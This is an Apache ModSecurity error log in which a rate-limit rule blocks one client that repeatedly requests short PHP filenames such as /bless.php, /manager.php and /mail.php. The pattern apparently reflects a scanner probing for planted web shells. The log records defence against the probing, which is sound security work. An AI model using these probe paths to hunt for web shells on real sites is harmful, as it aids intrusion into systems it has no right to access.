[Sun Dec 14 04:22:26.886435 2025] [:error] [pid 39524:tid 39564] [client 20.89.218.172:13255] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aT3LAmrVGpbDzFtDE9P2lQAAAEg"]
[Sun Dec 14 04:22:27.190341 2025] [:error] [pid 39614:tid 39628] [client 20.89.218.172:13290] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aT3LA_xybG8-9MflbDdukwAAAMw"]
[Sun Dec 14 04:22:27.443125 2025] [:error] [pid 39614:tid 39634] [client 20.89.218.172:13247] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aT3LA_xybG8-9MflbDdulAAAANI"]
[Sun Dec 14 04:22:27.720575 2025] [:error] [pid 39525:tid 39600] [client 20.89.218.172:13178] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aT3LA01fX_pB_BrvE_5eIgAAAJE"]
[Sun Dec 14 04:22:28.011890 2025] [:error] [pid 39523:tid 39530] [client 20.89.218.172:13234] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aT3LBDQTQH1raAj2lkgR8gAAAAI"]
[Sun Dec 14 04:22:28.305925 2025] [:error] [pid 39523:tid 39539] [client 20.89.218.172:24752] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aT3LBDQTQH1raAj2lkgR9QAAAAs"]
[Sun Dec 14 04:22:28.593419 2025] [:error] [pid 39614:tid 39619] [client 20.89.218.172:13231] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v.php"] [unique_id "aT3LBPxybG8-9MflbDdulwAAAMM"]
[Sun Dec 14 04:22:28.940448 2025] [:error] [pid 39614:tid 39631] [client 20.89.218.172:13219] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aT3LBPxybG8-9MflbDdumAAAAM8"]
[Sun Dec 14 04:22:29.331650 2025] [:error] [pid 39525:tid 39601] [client 20.89.218.172:13267] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aT3LBU1fX_pB_BrvE_5eIwAAAJI"]
[Sun Dec 14 04:22:29.737565 2025] [:error] [pid 39523:tid 39536] [client 20.89.218.172:13218] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aT3LBTQTQH1raAj2lkgR9gAAAAg"]
[Sun Dec 14 04:22:30.083076 2025] [:error] [pid 39523:tid 39528] [client 20.89.218.172:13201] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aT3LBjQTQH1raAj2lkgR9wAAAAA"]
[Sun Dec 14 04:22:30.339344 2025] [:error] [pid 39523:tid 39549] [client 20.89.218.172:13243] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vv.php"] [unique_id "aT3LBjQTQH1raAj2lkgR-gAAABU"]
[Sun Dec 14 04:22:30.619393 2025] [:error] [pid 39523:tid 39544] [client 20.89.218.172:13241] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vv.php"] [unique_id "aT3LBjQTQH1raAj2lkgR_AAAABA"]
[Sun Dec 14 04:22:30.983919 2025] [:error] [pid 39523:tid 39547] [client 20.89.218.172:13125] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vv.php"] [unique_id "aT3LBjQTQH1raAj2lkgR_gAAABM"]
[Sun Dec 14 04:22:31.355792 2025] [:error] [pid 39524:tid 39568] [client 20.89.218.172:13164] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vv.php"] [unique_id "aT3LB2rVGpbDzFtDE9P2lgAAAEw"]
[Sun Dec 14 04:22:31.673913 2025] [:error] [pid 39525:tid 39595] [client 20.89.218.172:13305] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aT3LB01fX_pB_BrvE_5eJQAAAIw"]
[Sun Dec 14 04:22:32.063213 2025] [:error] [pid 39523:tid 39550] [client 20.89.218.172:13180] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aT3LCDQTQH1raAj2lkgSAQAAABY"]
[Sun Dec 14 04:22:32.339096 2025] [:error] [pid 39614:tid 39616] [client 20.89.218.172:13154] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aT3LCPxybG8-9MflbDdunAAAAMA"]
[Sun Dec 14 04:22:32.684913 2025] [:error] [pid 39614:tid 39623] [client 20.89.218.172:13123] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aT3LCPxybG8-9MflbDdunQAAAMc"]
[Sun Dec 14 04:22:33.034950 2025] [:error] [pid 39524:tid 39570] [client 20.89.218.172:24725] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aT3LCWrVGpbDzFtDE9P2mgAAAE4"]
[Sun Dec 14 04:22:33.507700 2025] [:error] [pid 39523:tid 39537] [client 20.89.218.172:13258] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aT3LCTQTQH1raAj2lkgSAwAAAAk"]
[Sun Dec 14 04:22:34.460323 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:13232] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aT3LCvxybG8-9MflbDdunwAAANY"]
[Sun Dec 14 04:22:34.792989 2025] [:error] [pid 39614:tid 39640] [client 20.89.218.172:13282] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "aT3LCvxybG8-9MflbDduogAAANg"]
[Sun Dec 14 04:22:35.094441 2025] [:error] [pid 39614:tid 39632] [client 20.89.218.172:13071] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aT3LC_xybG8-9MflbDdupAAAANA"]
[Sun Dec 14 04:22:35.354622 2025] [:error] [pid 39523:tid 39543] [client 20.89.218.172:13260] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aT3LCzQTQH1raAj2lkgSBgAAAA8"]
[Sun Dec 14 04:22:35.746849 2025] [:error] [pid 39524:tid 39572] [client 20.89.218.172:13205] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aT3LC2rVGpbDzFtDE9P2nwAAAFA"]
[Sun Dec 14 04:22:36.048234 2025] [:error] [pid 39525:tid 39586] [client 20.89.218.172:13163] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/2.php"] [unique_id "aT3LDE1fX_pB_BrvE_5eMwAAAIM"]
[Sun Dec 14 04:22:36.429108 2025] [:error] [pid 39614:tid 39639] [client 20.89.218.172:13189] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aT3LDPxybG8-9MflbDdupwAAANc"]
[Sun Dec 14 04:22:37.077652 2025] [:error] [pid 39523:tid 39528] [client 20.89.218.172:13200] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aT3LDTQTQH1raAj2lkgSCQAAAAA"]
[Sun Dec 14 04:22:37.400902 2025] [:error] [pid 39525:tid 39599] [client 20.89.218.172:13159] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aT3LDU1fX_pB_BrvE_5eNAAAAJA"]
[Sun Dec 14 04:22:37.768420 2025] [:error] [pid 39523:tid 39542] [client 20.89.218.172:13126] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "aT3LDTQTQH1raAj2lkgSCgAAAA4"]
[Sun Dec 14 04:22:38.181895 2025] [:error] [pid 39524:tid 39564] [client 20.89.218.172:13067] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT3LDmrVGpbDzFtDE9P2qAAAAEg"]
[Sun Dec 14 04:22:38.614176 2025] [:error] [pid 39614:tid 39630] [client 20.89.218.172:13229] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT3LDvxybG8-9MflbDduqwAAAM4"]
[Sun Dec 14 04:22:38.948168 2025] [:error] [pid 39525:tid 39601] [client 20.89.218.172:13273] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT3LDk1fX_pB_BrvE_5eOAAAAJI"]
[Sun Dec 14 04:22:39.363097 2025] [:error] [pid 39524:tid 39580] [client 20.89.218.172:24806] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT3LD2rVGpbDzFtDE9P2rAAAAFg"]
[Sun Dec 14 04:22:39.817893 2025] [:error] [pid 39524:tid 39569] [client 20.89.218.172:13153] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aT3LD2rVGpbDzFtDE9P2rwAAAE0"]
[Sun Dec 14 04:22:40.106642 2025] [:error] [pid 39523:tid 39541] [client 20.89.218.172:13175] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aT3LEDQTQH1raAj2lkgSDQAAAA0"]
[Sun Dec 14 04:22:40.408365 2025] [:error] [pid 39524:tid 39573] [client 20.89.218.172:13303] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aT3LEGrVGpbDzFtDE9P2sgAAAFE"]
[Sun Dec 14 04:22:40.721622 2025] [:error] [pid 39614:tid 39636] [client 20.89.218.172:13005] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aT3LEPxybG8-9MflbDdurQAAANQ"]
[Sun Dec 14 04:22:40.977295 2025] [:error] [pid 39614:tid 39623] [client 20.89.218.172:13304] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aT3LEPxybG8-9MflbDdusAAAAMc"]
[Sun Dec 14 04:22:41.313774 2025] [:error] [pid 39523:tid 39550] [client 20.89.218.172:13165] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aT3LETQTQH1raAj2lkgSEQAAABY"]
[Sun Dec 14 04:22:41.557824 2025] [:error] [pid 39523:tid 39535] [client 20.89.218.172:13056] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aT3LETQTQH1raAj2lkgSFAAAAAc"]
[Sun Dec 14 04:22:41.836633 2025] [:error] [pid 39524:tid 39576] [client 20.89.218.172:13226] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aT3LEWrVGpbDzFtDE9P2tQAAAFQ"]
[Sun Dec 14 04:22:42.089372 2025] [:error] [pid 39614:tid 39618] [client 20.89.218.172:13171] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aT3LEvxybG8-9MflbDdusQAAAMI"]
[Sun Dec 14 04:22:42.360494 2025] [:error] [pid 39614:tid 39638] [client 20.89.218.172:13245] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aT3LEvxybG8-9MflbDduswAAANY"]
[Sun Dec 14 04:22:42.617038 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:13287] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aT3LEvxybG8-9MflbDdutQAAAMg"]
[Sun Dec 14 04:22:42.950156 2025] [:error] [pid 39525:tid 39603] [client 20.89.218.172:13174] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/doc.php"] [unique_id "aT3LEk1fX_pB_BrvE_5ePAAAAJQ"]
[Sun Dec 14 04:22:43.243117 2025] [:error] [pid 39525:tid 39598] [client 20.89.218.172:13198] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/go.php"] [unique_id "aT3LE01fX_pB_BrvE_5ePgAAAI8"]
[Sun Dec 14 04:22:43.617895 2025] [:error] [pid 39525:tid 39605] [client 20.89.218.172:13076] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/go.php"] [unique_id "aT3LE01fX_pB_BrvE_5ePwAAAJY"]
[Sun Dec 14 04:22:43.951563 2025] [:error] [pid 39523:tid 39529] [client 20.89.218.172:13156] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/go.php"] [unique_id "aT3LEzQTQH1raAj2lkgSGQAAAAE"]
[Sun Dec 14 04:22:44.250868 2025] [:error] [pid 39523:tid 39539] [client 20.89.218.172:13144] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/go.php"] [unique_id "aT3LFDQTQH1raAj2lkgSGwAAAAs"]
[Sun Dec 14 04:22:44.586729 2025] [:error] [pid 39523:tid 39536] [client 20.89.218.172:13166] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aT3LFDQTQH1raAj2lkgSHQAAAAg"]
[Sun Dec 14 04:22:44.900248 2025] [:error] [pid 39524:tid 39575] [client 20.89.218.172:13227] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aT3LFGrVGpbDzFtDE9P2uwAAAFM"]
[Sun Dec 14 04:22:45.276008 2025] [:error] [pid 39523:tid 39550] [client 20.89.218.172:13225] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aT3LFTQTQH1raAj2lkgSIwAAABY"]
[Sun Dec 14 04:22:45.531515 2025] [:error] [pid 39523:tid 39540] [client 20.89.218.172:24780] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mail.php"] [unique_id "aT3LFTQTQH1raAj2lkgSJQAAAAw"]
[Sun Dec 14 04:22:45.816204 2025] [:error] [pid 39525:tid 39596] [client 20.89.218.172:13155] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aT3LFU1fX_pB_BrvE_5eQwAAAI0"]
[Sun Dec 14 04:22:46.125776 2025] [:error] [pid 39523:tid 39537] [client 20.89.218.172:13307] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/11.php"] [unique_id "aT3LFjQTQH1raAj2lkgSKgAAAAk"]
